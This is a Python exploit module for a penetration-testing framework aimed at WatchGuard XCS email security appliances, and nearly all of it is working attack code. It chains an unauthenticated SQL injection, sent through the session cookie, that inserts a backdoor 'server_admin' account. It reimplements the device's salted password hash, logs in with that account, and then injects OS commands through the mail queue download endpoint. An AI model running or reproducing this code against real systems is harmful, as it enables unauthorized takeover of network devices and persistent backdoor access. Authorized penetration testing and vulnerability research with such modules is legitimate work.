Watchguard XCS Remote Command Execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Watchguard XCS Remote Command Execution"""

import hashlib
import re
from random import randint

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Watchguard XCS Remote Command Execution",
        "description": (
            "Exploits unauthenticated SQL injection and authenticated command injection "
            "in Watchguard XCS virtual appliances to gain command execution as nobody."
        ),
        "author": ["Daniel Jensen", "GH0st3rs"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf",
            "https://vulners.com/metasploit/MSF:EXPLOIT/FREEBSD/HTTP/WATCHGUARD_CMD_EXEC",
        ],
        "tags": ["iot", "embedded", "rce", "unauth", "watchguard"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
        },
    }

    target = OptIP("", "Target address e.g. 192.168.1.1")
    port = OptPort(443, "WatchGuard WebUI port")
    watchguard_user = OptString("kittyuser", "Web interface user account to add")
    watchguard_password = OptString("kittypass", "Web interface user password")

    def __init__(self, framework=None):
        super().__init__(framework)
        self.sid = None

    def generate_device_hash(self, cleartext_password: str) -> str:
        pre_salt = b"BorderWare "
        post_salt = b" some other random (9) stuff"
        hash_tmp = hashlib.md5(pre_salt + cleartext_password.encode() + post_salt).hexdigest()
        return hashlib.md5(cleartext_password.encode() + hash_tmp.encode()).hexdigest()

    def attempt_login(self, username: str, pwd_clear: str):
        get_login_hash = self.http_request(method="GET", path="/login.spl")
        if not get_login_hash or not get_login_hash.text:
            return False

        login_hash = ""
        for line in get_login_hash.text.splitlines():
            found = re.findall(r'name="hash" value="(.*)"', line)
            if found:
                login_hash = found[0]
                break

        cookie_header = get_login_hash.headers.get("Set-Cookie") or get_login_hash.headers.get("cookie") or ""
        sid_matches = re.findall(r"sid=(\w+);", cookie_header)
        sid_cookie = sid_matches[0] if sid_matches else ""
        if not login_hash or not sid_cookie:
            return False

        login_post = {
            "u": username,
            "pwd": pwd_clear,
            "hash": login_hash,
            "login": "Login",
        }
        login = self.http_request(
            method="POST",
            path="/login.spl?f=V",
            headers={"cookie": f"sid={sid_cookie}"},
            data=login_post,
        )
        if login and "<title>Loading...</title>" in login.text:
            return sid_cookie
        return False

    def add_user(self, user_id: int, username: str, pwd_hash: str, pwd_clear: str) -> bool:
        cookie_str = (
            f"sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) "
            f"VALUES({user_id}, '{username}', '{pwd_hash}', 0, 'server_admin', 0, 0)--"
        )
        response = self.http_request(
            method="GET",
            path="/borderpost/imp/compose.php3",
            headers={"cookie": cookie_str},
        )
        if not response or not response.text:
            return False
        if "ERROR:  duplicate key value violates unique constraint" in response.text:
            print_status(f"Added backdoor user, credentials => {username}:{pwd_clear}")
            return True
        return False

    def send_cmd_exec(self, uri: str, os_cmd: str):
        if not self.sid:
            print_error("Missing session cookie when attempting to execute command.")
            return None
        return self.http_request(
            method="GET",
            path=f"{uri}?f=dnld&id=;{os_cmd}",
            headers={"cookie": f"sid={self.sid}"},
        )

    def get_session(self):
        username = str(self.watchguard_user)
        password = str(self.watchguard_password)
        user_id = randint(10, 999)

        sid_cookie = self.attempt_login(username, password)
        if sid_cookie:
            return sid_cookie

        print_status("Failed to login, attempting to add backdoor user...")
        pwd_hash = self.generate_device_hash(password)
        if not self.add_user(user_id, username, pwd_hash, password):
            return False
        return self.attempt_login(username, password)

    def execute(self, cmd: str) -> str:
        response = self.send_cmd_exec("/ADMIN/mailqueue.spl", cmd)
        return "" if response else ""

    def check(self):
        response = self.http_request(
            method="GET",
            path="/borderpost/imp/compose.php3",
            headers={"cookie": "sid=1'"},
        )
        if response and "unterminated quoted string" in response.text:
            return {"vulnerable": True, "reason": "SQL injection indicator", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False

        print_status("Getting a valid session...")
        self.sid = self.get_session()
        if not self.sid:
            print_error("Could not obtain session")
            return False

        test = self.send_cmd_exec("/ADMIN/mailqueue.spl", "id")
        if not test or "uid=65534" not in test.text:
            print_error("Command injection check failed")
            return False

        print_success("Target appears vulnerable")
        return self.handler_execute()